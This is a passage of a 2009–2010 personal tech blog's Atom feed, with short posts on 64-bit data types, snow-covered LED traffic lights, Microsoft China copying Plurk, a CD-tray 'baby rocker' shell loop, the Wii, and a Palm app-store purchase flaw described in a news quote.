code for win32, win64, Linux32 and Linux64 more complicated.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Now they have to worry about new datatypes, like ULONG_PTR, pointer sizes which cannot intermix with Long, And additional programming hazards like:&lt;br /&gt;&lt;br /&gt;ULONG p&lt;br /&gt;foo( &amp;amp;p) &lt;&lt; hey I just passed 32 bit quantity to a function which was expecting 64 bit (PULONG) most likely leading to stack corruption.&lt;br /&gt;&lt;br /&gt;I wish MS had followed the same convention of what Unix/Linux were following?&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/895676791003522397-4423117835148810111?l=techno-jazz.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://techno-jazz.blogspot.com/feeds/4423117835148810111/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=895676791003522397&amp;postID=4423117835148810111' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/895676791003522397/posts/default/4423117835148810111'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/895676791003522397/posts/default/4423117835148810111'/><link rel='alternate' type='text/html' href='http://techno-jazz.blogspot.com/2010/01/why-did-ms-chose-new-data-model.html' title='Why did MS chose a new data model?'/><author><name>born_in_the_woods</name><uri>http://www.blogger.com/profile/04530634241126133447</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://photos1.blogger.com/blogger/6732/1255/1600/images.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-895676791003522397.post-607740461757816076</id><published>2009-12-24T02:58:00.001-08:00</published><updated>2009-12-24T03:03:02.333-08:00</updated><title type='text'>techno-jazz: Get your requirement right</title><content type='html'>&lt;h4 class="post_title"&gt;LED traffic lights don't melt snow, do cause accidents.&lt;/h4&gt;Woo! It seems  engineers were so excited about fixing one problem, they overlooked the other. Perhaps it never even made it to the requirements.&lt;br /&gt; &lt;br /&gt;This example explains the importance of customer Input taken during the requirement phase, or customer feedback during the trial run.&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;/blockquote&gt;&lt;blockquote&gt;Qoute from : &lt;a href="http://www.engadget.com/2009/12/17/led-traffic-lights-dont-melt-snow-do-cause-accidents/"&gt;http://www.engadget.com/2009/12/17/led-traffic-lights-dont-melt-snow-do-cause-accidents/&lt;br /&gt;&lt;/a&gt;&lt;h4 class="post_title"&gt;LED traffic lights don't melt snow, do cause accidents&lt;/h4&gt;      &lt;div class="post_info"&gt;    &lt;div class="post_byline"&gt;     &lt;span class="caption"&gt;By &lt;a href="http://www.engadget.com/editor/vladislav-savov"&gt;Vladislav Savov&lt;/a&gt; &lt;a href="http://www.engadget.com/editor/vladislav-savov/rss.xml"&gt;&lt;img src="http://www.blogsmithmedia.com/www.engadget.com/media/writer_rss.gif" border="0" /&gt;&lt;/a&gt; posted &lt;span class="post_time"&gt;Dec 17th 2009 9:16AM&lt;/span&gt;&lt;/span&gt;    &lt;/div&gt;&lt;!--end post_byline--&gt;        &lt;div class="post_content_types"&gt;     &lt;div class="post_category"&gt;                         &lt;/div&gt;&lt;!--end post_category--&gt;                                                           &lt;/div&gt;&lt;!--end post_content_types--&gt;                                         &lt;/div&gt;                          &lt;a href="http://news.yahoo.com/s/ap/20091215/ap_on_re_us/us_snow_covered_stoplights"&gt;&lt;img src="http://www.blogcdn.com/www.engadget.com/media/2009/12/17dec9iuobsegf43.jpg" alt="" align="right" border="1" hspace="4" vspace="4" /&gt;&lt;/a&gt;A number of cold weather American states are reporting their dismay at finding out that &lt;a href="http://www.engadget.com/2007/07/16/seville-readies-led-traffic-light-switch/"&gt;LED traffic lights&lt;/a&gt; are so energy efficient that they do not produce enough excess heat to dissipate any snow that covers them. It turns out, perhaps in an homage to bad engineering everywhere, that the inefficiency of &lt;a href="http://www.engadget.com/2007/12/24/incandescent-light-bulbs-be-to-shelved-by-2012-in-us/"&gt;incandescent&lt;/a&gt; light bulbs was previously &lt;em&gt;relied upon&lt;/em&gt; to keep traffic signals unimpeded. &lt;a href="http://www.engadget.com/2007/07/04/taiwan-switching-to-led-traffic-lights/"&gt;The new LEDs&lt;/a&gt; do not achieve the same effect, which has resulted in a few accidents and even a death being blamed on obstructed traffic lights. Feel free to apply palm to face now. It's not all gloomy, though, as the majority of people are said to treat a dysfunctional traffic light as a stop sign (how clever of them), and a tech fix is being worked on as we speak.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/blockquote&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/895676791003522397-607740461757816076?l=techno-jazz.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://techno-jazz.blogspot.com/feeds/607740461757816076/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=895676791003522397&amp;postID=607740461757816076' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/895676791003522397/posts/default/607740461757816076'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/895676791003522397/posts/default/607740461757816076'/><link rel='alternate' type='text/html' href='http://techno-jazz.blogspot.com/2009/12/techno-jazz-get-your-requirement-right.html' title='techno-jazz: Get your requirement right'/><author><name>born_in_the_woods</name><uri>http://www.blogger.com/profile/04530634241126133447</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://photos1.blogger.com/blogger/6732/1255/1600/images.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-895676791003522397.post-4953950199223904727</id><published>2009-12-18T02:09:00.000-08:00</published><updated>2009-12-18T02:13:11.327-08:00</updated><title type='text'>Microsoft China Steals CODE from a startup</title><content type='html'>&lt;ul&gt;&lt;li&gt; Microsoft China officially launched its own microblogging service, MSN Juku/Hompy/Mclub, some time in November, 2009.&lt;/li&gt;&lt;/ul&gt;&lt;ul&gt;&lt;li&gt; The service’s design and UI is by and large an EXACT copy of Plurk’s innovative left-right timeline scrolling navigation system. (see screen captures below)&lt;/li&gt;&lt;/ul&gt;&lt;ul&gt;&lt;li&gt;Some 80% of the client and product codebase appears to be stolen directly from Plurk! (see evidence below).&lt;/li&gt;&lt;/ul&gt;&lt;ul&gt;&lt;li&gt;More Information &lt;a href="http://blog.plurk.com/2009/12/14/microsoft-rips-plurk/"&gt;http://blog.plurk.com/2009/12/14/microsoft-rips-plurk&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://blog.plurk.com/wp-content/uploads/2009/12/u75Fn.png"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer; width: 650px; height: 707px;" src="http://blog.plurk.com/wp-content/uploads/2009/12/u75Fn.png" alt="" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;If it was US of A, Microsoft would have been ripped apart for this.&lt;br /&gt;But this is China!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/895676791003522397-4953950199223904727?l=techno-jazz.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://techno-jazz.blogspot.com/feeds/4953950199223904727/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=895676791003522397&amp;postID=4953950199223904727' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/895676791003522397/posts/default/4953950199223904727'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/895676791003522397/posts/default/4953950199223904727'/><link rel='alternate' type='text/html' href='http://techno-jazz.blogspot.com/2009/12/microsoft-china-steals-code-from.html' title='Microsoft China Steals CODE from a startup'/><author><name>born_in_the_woods</name><uri>http://www.blogger.com/profile/04530634241126133447</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://photos1.blogger.com/blogger/6732/1255/1600/images.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-895676791003522397.post-6405166059208333310</id><published>2009-12-15T22:55:00.000-08:00</published><updated>2009-12-15T22:57:12.414-08:00</updated><title type='text'>SSO - Single Sign on</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_bVcXbCAptb0/SyiEfTfs7hI/AAAAAAAAGCs/7rViRBA_uKg/s1600-h/76732.strip.gif"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer; width: 603px; height: 186px;" src="http://4.bp.blogspot.com/_bVcXbCAptb0/SyiEfTfs7hI/AAAAAAAAGCs/7rViRBA_uKg/s400/76732.strip.gif" alt="" id="BLOGGER_PHOTO_ID_5415724225257074194" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;I B M&lt;br /&gt;TAM - SSO&lt;br /&gt;&lt;br /&gt;Single sign on...&lt;br /&gt;That's what I am going to work on for a while...&lt;br /&gt;&lt;br /&gt;Location: Sg.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/895676791003522397-6405166059208333310?l=techno-jazz.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://techno-jazz.blogspot.com/feeds/6405166059208333310/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=895676791003522397&amp;postID=6405166059208333310' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/895676791003522397/posts/default/6405166059208333310'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/895676791003522397/posts/default/6405166059208333310'/><link rel='alternate' type='text/html' href='http://techno-jazz.blogspot.com/2009/12/sso-single-sign-on.html' title='SSO - Single Sign on'/><author><name>born_in_the_woods</name><uri>http://www.blogger.com/profile/04530634241126133447</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://photos1.blogger.com/blogger/6732/1255/1600/images.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_bVcXbCAptb0/SyiEfTfs7hI/AAAAAAAAGCs/7rViRBA_uKg/s72-c/76732.strip.gif' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-895676791003522397.post-1458670048325626312</id><published>2009-11-09T03:04:00.000-08:00</published><updated>2009-11-09T03:17:44.260-08:00</updated><title type='text'>Gartner reports can be rigged?</title><content type='html'>I was under the impression that Gartner (along with many other analyst firms) can be bought and there reports can be rigged.&lt;br /&gt;&lt;br /&gt;However, &lt;a href="http://blogs.gartner.com/thomas_bittman/"&gt;Thomas Gittman&lt;/a&gt;, an analyst at Gartner says:&lt;br /&gt;&lt;br /&gt;&lt;blockquote style="color: rgb(102, 102, 102);"&gt;As an analyst at Gartner, I can’t describe how angry I get when I read bloggers spouting as “fact” their opinion that I and my teammates have no integrity. That we can be “bought.”&lt;br /&gt;&lt;/blockquote&gt;&lt;br /&gt;What do you think?&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/895676791003522397-1458670048325626312?l=techno-jazz.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://techno-jazz.blogspot.com/feeds/1458670048325626312/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=895676791003522397&amp;postID=1458670048325626312' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/895676791003522397/posts/default/1458670048325626312'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/895676791003522397/posts/default/1458670048325626312'/><link rel='alternate' type='text/html' href='http://techno-jazz.blogspot.com/2009/11/i-was-under-impression-that-gartner.html' title='Gartner reports can be rigged?'/><author><name>born_in_the_woods</name><uri>http://www.blogger.com/profile/04530634241126133447</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://photos1.blogger.com/blogger/6732/1255/1600/images.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-895676791003522397.post-9141592546303011891</id><published>2009-11-09T02:41:00.000-08:00</published><updated>2009-11-09T03:18:15.748-08:00</updated><title type='text'>How to be a great project manager?</title><content type='html'>How to be a great project manager? Here is the &lt;span style="text-decoration: underline;"&gt;&lt;/span&gt;&lt;a style="color: rgb(0, 102, 0);" href="http://www.bnet.com/2403-13056_23-357106.html"&gt;The Quick-and-Dirty Guide &lt;/a&gt;&lt;br /&gt;&lt;a style="color: rgb(0, 102, 0);" href="http://www.bnet.com/2403-13056_23-357106.html"&gt;to Getting Things Done&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Project Managers, they are the pros, part diplomat, part cheerleader, part polymath, and 100 percent efficiency junkie -- who get complicated projects done to spec, on time, and on budget....&lt;a style="font-style: italic;" href="http://www.bnet.com/2436-13056_23-357103.html"&gt;bnet.com&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Some of the steps are practical and I really liked the one which says "Don't abuse Email"&lt;br /&gt;&lt;br /&gt;If Employees have to read 100 emails a Day, 3 hours of productive time (about 37%) is lost in just reading emails!  Assuming average time to reading an email is about 2 mins. Not counting the time to reply and craft a response.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/895676791003522397-9141592546303011891?l=techno-jazz.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://techno-jazz.blogspot.com/feeds/9141592546303011891/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=895676791003522397&amp;postID=9141592546303011891' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/895676791003522397/posts/default/9141592546303011891'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/895676791003522397/posts/default/9141592546303011891'/><link rel='alternate' type='text/html' href='http://techno-jazz.blogspot.com/2009/11/how-to-be-great-project-manager-project.html' title='How to be a great project manager?'/><author><name>born_in_the_woods</name><uri>http://www.blogger.com/profile/04530634241126133447</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://photos1.blogger.com/blogger/6732/1255/1600/images.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-895676791003522397.post-621553028440405845</id><published>2009-11-06T01:53:00.000-08:00</published><updated>2009-11-06T01:56:06.587-08:00</updated><title type='text'></title><content type='html'>&lt;em style="font-style: italic;"&gt;No one can make you feel inferior&lt;/em&gt;&lt;span style="font-style: italic;"&gt; without your consent. &lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;" class="text"&gt;--  &lt;b&gt;Eleanor Roosevelt&lt;/b&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/895676791003522397-621553028440405845?l=techno-jazz.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://techno-jazz.blogspot.com/feeds/621553028440405845/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=895676791003522397&amp;postID=621553028440405845' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/895676791003522397/posts/default/621553028440405845'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/895676791003522397/posts/default/621553028440405845'/><link rel='alternate' type='text/html' href='http://techno-jazz.blogspot.com/2009/11/no-one-can-make-you-feel-inferior.html' title=''/><author><name>born_in_the_woods</name><uri>http://www.blogger.com/profile/04530634241126133447</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://photos1.blogger.com/blogger/6732/1255/1600/images.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-895676791003522397.post-1498862026081414750</id><published>2009-10-29T11:39:00.000-07:00</published><updated>2009-10-29T11:41:36.879-07:00</updated><title type='text'>http://xkcd.com/632/</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://imgs.xkcd.com/comics/suspicion.png"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer; width: 622px; height: 189px;" src="http://imgs.xkcd.com/comics/suspicion.png" alt="" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://xkcd.com/632/"&gt;http://xkcd.com/632/&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/895676791003522397-1498862026081414750?l=techno-jazz.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://techno-jazz.blogspot.com/feeds/1498862026081414750/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=895676791003522397&amp;postID=1498862026081414750' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/895676791003522397/posts/default/1498862026081414750'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/895676791003522397/posts/default/1498862026081414750'/><link rel='alternate' type='text/html' href='http://techno-jazz.blogspot.com/2009/10/httpxkcdcom632.html' title='http://xkcd.com/632/'/><author><name>born_in_the_woods</name><uri>http://www.blogger.com/profile/04530634241126133447</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://photos1.blogger.com/blogger/6732/1255/1600/images.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-895676791003522397.post-8748874632454146225</id><published>2009-10-21T02:04:00.000-07:00</published><updated>2009-10-21T02:07:14.624-07:00</updated><title type='text'>Born geek</title><content type='html'>&lt;span style="font-family: courier new;"&gt;&lt;/span&gt;&lt;blockquote&gt;&lt;span style="font-family: courier new;"&gt;while [1 = 1]&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt; do&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt; #eject cdrom&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt; eject&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt; #pull cdrom tray back in&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt; eject -t&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt; done&lt;/span&gt;&lt;br /&gt;&lt;/blockquote&gt;The program will first auto-eject the CD-ROM drive of your computer and then it will close that open tray. This open-close loop will run forever unless you terminate the program manually.&lt;br /&gt;&lt;br /&gt;Now the interesting part -- using just these four lines of code, a geek turned his old Linux* computer into a baby rocker.&lt;br /&gt;&lt;br /&gt;&lt;object width="425" height="344"&gt;&lt;param name="movie" value="http://www.youtube.com/v/bYcF_xX2DE8&amp;hl=en&amp;fs=1&amp;"&gt;&lt;/param&gt;&lt;param name="allowFullScreen" value="true"&gt;&lt;/param&gt;&lt;param name="allowscriptaccess" value="always"&gt;&lt;/param&gt;&lt;embed src="http://www.youtube.com/v/bYcF_xX2DE8&amp;hl=en&amp;fs=1&amp;" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="425" height="344"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/895676791003522397-8748874632454146225?l=techno-jazz.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://techno-jazz.blogspot.com/feeds/8748874632454146225/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=895676791003522397&amp;postID=8748874632454146225' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/895676791003522397/posts/default/8748874632454146225'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/895676791003522397/posts/default/8748874632454146225'/><link rel='alternate' type='text/html' href='http://techno-jazz.blogspot.com/2009/10/born-geek.html' title='Born geek'/><author><name>born_in_the_woods</name><uri>http://www.blogger.com/profile/04530634241126133447</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://photos1.blogger.com/blogger/6732/1255/1600/images.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-895676791003522397.post-8563535473274840814</id><published>2009-10-14T23:04:00.000-07:00</published><updated>2009-10-14T23:16:53.007-07:00</updated><title type='text'>Rethinking the user interface...</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_bVcXbCAptb0/Sta-MFD0aQI/AAAAAAAAF4I/d_kqbeWXmU0/s1600-h/wii1.jpg"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer; width: 200px; height: 179px;" src="http://1.bp.blogspot.com/_bVcXbCAptb0/Sta-MFD0aQI/AAAAAAAAF4I/d_kqbeWXmU0/s200/wii1.jpg" alt="" id="BLOGGER_PHOTO_ID_5392706718548650242" border="0" /&gt;&lt;/a&gt;&lt;blockquote style="font-style: italic;"&gt;While Sony and Microsoft Xbox were in a mad race to build the fastest, meanest gaming systems with the slickest graphics imaginable, Nintendo headed back to the drawing board and came out with the accelerometer based, motion sensitive remote, which blew its competitors&lt;/blockquote&gt;&lt;blockquote style="font-style: italic;"&gt;Instead of standard joy sticks and mouse and keyboard, they had ingeniously used remote, which  gave sound and vibration feedback to the player.  What mattered was how much user was involved in the game.&lt;br /&gt;&lt;br /&gt;The graphics were ordinary, the characters looked plain with egg shaped head, almost like in comic books. I guess the product manager was a big fan of Simpsons :)&lt;br /&gt;&lt;br /&gt;The Wii hence become a super successful gaming console, making gaming more mainstream and giving Nintendo a huge lead over Xbox and Sony PS3.&lt;br /&gt;&lt;/blockquote&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/895676791003522397-8563535473274840814?l=techno-jazz.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://techno-jazz.blogspot.com/feeds/8563535473274840814/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=895676791003522397&amp;postID=8563535473274840814' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/895676791003522397/posts/default/8563535473274840814'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/895676791003522397/posts/default/8563535473274840814'/><link rel='alternate' type='text/html' href='http://techno-jazz.blogspot.com/2009/10/rethinking-user-interface.html' title='Rethinking the user interface...'/><author><name>born_in_the_woods</name><uri>http://www.blogger.com/profile/04530634241126133447</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://photos1.blogger.com/blogger/6732/1255/1600/images.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_bVcXbCAptb0/Sta-MFD0aQI/AAAAAAAAF4I/d_kqbeWXmU0/s72-c/wii1.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-895676791003522397.post-9023723350478068584</id><published>2009-10-06T04:28:00.000-07:00</published><updated>2009-10-06T04:30:20.668-07:00</updated><title type='text'></title><content type='html'>&lt;h1&gt;&lt;span style="font-size:100%;"&gt;Comp.lang.c FAQ list &lt;/span&gt;&lt;span style="font-size:100%;color:blue;"&gt;·&lt;/span&gt;&lt;span style="font-size:100%;"&gt; Question 1.32&lt;br /&gt;&lt;/span&gt;&lt;/h1&gt;&lt;span style="font-family:Helvetica;font-size:8;color:blue;"&gt;&lt;b&gt;Q:&lt;/b&gt;&lt;/span&gt; What is the difference between these initializations? &lt;pre&gt;char a[] = "string literal";&lt;br /&gt;char *p  = "string literal";&lt;br /&gt;&lt;/pre&gt; My program crashes if I try to assign a new value to &lt;tt&gt;p[i]&lt;/tt&gt;.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://techno-jazz.blogspot.com/2008/12/aout-readonly-strings.html"&gt;Check this out&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/895676791003522397-9023723350478068584?l=techno-jazz.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://techno-jazz.blogspot.com/feeds/9023723350478068584/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=895676791003522397&amp;postID=9023723350478068584' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/895676791003522397/posts/default/9023723350478068584'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/895676791003522397/posts/default/9023723350478068584'/><link rel='alternate' type='text/html' href='http://techno-jazz.blogspot.com/2009/10/comp.html' title=''/><author><name>born_in_the_woods</name><uri>http://www.blogger.com/profile/04530634241126133447</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://photos1.blogger.com/blogger/6732/1255/1600/images.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-895676791003522397.post-3454562168422335570</id><published>2009-10-05T21:14:00.000-07:00</published><updated>2009-10-05T21:17:54.813-07:00</updated><title type='text'>Design flaw in production</title><content type='html'>&lt;span style="font-style: italic;"&gt;&lt;/span&gt;&lt;blockquote&gt;&lt;span style="font-style: italic;"&gt;Due to a major flaw in purchase verification, Paid apps have been removed for the time being by Palm.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;An exploit involving building your own dummy application with the same name as a paid application allowed folks to download a free "update" to these falsified shells and score for-purchase apps galore without dropping a cent.&lt;br /&gt;&lt;a href="http://www.engadget.com/2009/10/06/palm-pulls-paid-apps-due-to-major-bug-allowing-free-app-download/"&gt;here&lt;/a&gt;&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;span style="font-style: italic;"&gt;&lt;/span&gt;&lt;br /&gt;Looks like somebody got there design screwed-up big time!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/895676791003522397-3454562168422335570?l=techno-jazz.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://techno-jazz.blogspot.com/feeds/3454562168422335570/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=895676791003522397&amp;postID=3454562168422335570' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/895676791003522397/posts/default/3454562168422335570'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/895676791003522397/posts/default/3454562168422335570'/><link rel='alternate' type='text/html' href='http://techno-jazz.blogspot.com/2009/10/design-flaw-in-production.html' title='Design flaw in production'/><author><name>born_in_the_woods</name><uri>http://www.blogger.com/profile/04530634241126133447</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://photos1.blogger.com/blogger/6732/1255/1600/images.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-895676791003522397.post-1908878640719086668</id><published>2009-09-20T23:25:00.000-07:00</published><updated>2009-10-05T21:19:33.997-07:00</updated><title type='text'>Computing Sins</title><content type='html'>&lt;i&gt;“More computing sins are committed in the name of efficiency (without necessarily achieving it) than for any other single reason - including blind stupidity.”&lt;/i&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;&lt;span style="font-weight: bold;"&gt;&lt;br /&gt;&lt;/span&gt;-- William Wulf&lt;/span&gt;&lt;span style="font-style: italic;"&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/895676791003522397-1908878640719086668?l=techno-jazz.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://techno-jazz.blogspot.com/feeds/1908878640719086668/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=895676791003522397&amp;postID=1908878640719086668' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/895676791003522397/posts/default/1908878640719086668'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/895676791003522397/posts/default/1908878640719086668'/><link rel='alternate' type='text/html' href='http://techno-jazz.blogspot.com/2009/09/more-computing-sins-are-committed-in.html' title='Computing Sins'/><author><name>born_in_the_woods</name><uri>http://www.blogger.com/profile/04530634241126133447</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' 